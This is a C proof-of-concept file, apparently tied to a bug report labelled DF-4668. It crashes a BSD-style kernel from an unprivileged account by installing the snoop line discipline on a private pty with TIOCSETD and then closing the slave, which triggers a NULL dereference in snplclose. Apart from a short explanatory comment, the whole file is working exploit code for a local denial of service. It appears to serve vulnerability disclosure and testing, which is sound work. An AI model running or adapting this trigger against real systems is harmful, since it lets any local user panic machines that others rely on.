DF-4668 / snp_disc.c
/* * DF-4668: unprivileged kernel NULL-deref panic via TIOCSETD to the * snoop line discipline + tty close. * * snplclose() (sys/dev/misc/snp/snp.c:129-148) assumes tp->t_sc is a * valid `struct snoop'. TIOCSETD (sys/kern/tty.c:1128) lets ANY user * install any registered line discipline on a tty they own -- there is * no privilege check and no exclusion of the snoop discipline. The * snoop l_open is plain ttyopen(), which never sets t_sc, so the tty is * left with t_line == snooplinedisc and t_sc == NULL. Closing the tty * runs snplclose -> snp_down(NULL) -> read of snp->snp_blen at * NULL+48 -> kernel panic. * * Precondition: snp module loaded (kldload snp / device snp). * Trigger: plain unprivileged user, private pty. */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <termios.h> #include <libutil.h> int main(void) { int m, s, t, disc = -1; int ms[64], ss[64], nopen = 0; /* * 1. Find which discipline numbers actually install (TIOCSETD runs * l_open; nodisc slots fail in l_noopen, snoop's ttyopen * succeeds). Do NOT close the slaves yet: closing a slave whose * discipline is the snoop one is the trigger. ldisc_register() * scans slots 7..8 and takes the LAST free one, so with snp.ko * loaded the highest installing index IS snooplinedisc (8). */ for (t = 0; t < 9; t++) { int cur = -1; if (openpty(&m, &s, NULL, NULL, NULL) != 0) { perror("openpty"); return 1; } if (ioctl(s, TIOCSETD, &t) == 0 && ioctl(s, TIOCGETD, &cur) == 0 && cur == t) { disc = t; ms[nopen] = m; ss[nopen] = s; nopen++; continue; } close(m); close(s); /* failed to install, closing is safe */ } if (disc < 0) { fprintf(stderr, "no line disciplines?\n"); return 1; } printf("[+] %d line disciplines registered; highest = %d " "(snooplinedisc when snp.ko is loaded)\n", disc + 1, disc); fflush(stdout); /* * 2. Close the slave parked on the highest discipline index. * snplclose() reads tp->t_sc (NULL) and calls snp_down(NULL): * panic at snp.c:517 dereferencing NULL+48. */ printf("[+] closing pty slave parked on discipline %d ...\n", disc); fflush(stdout); close(ss[nopen - 1]); close(ms[nopen - 1]); printf("[-] survived -- snoop discipline not loaded?\n"); return 0; } |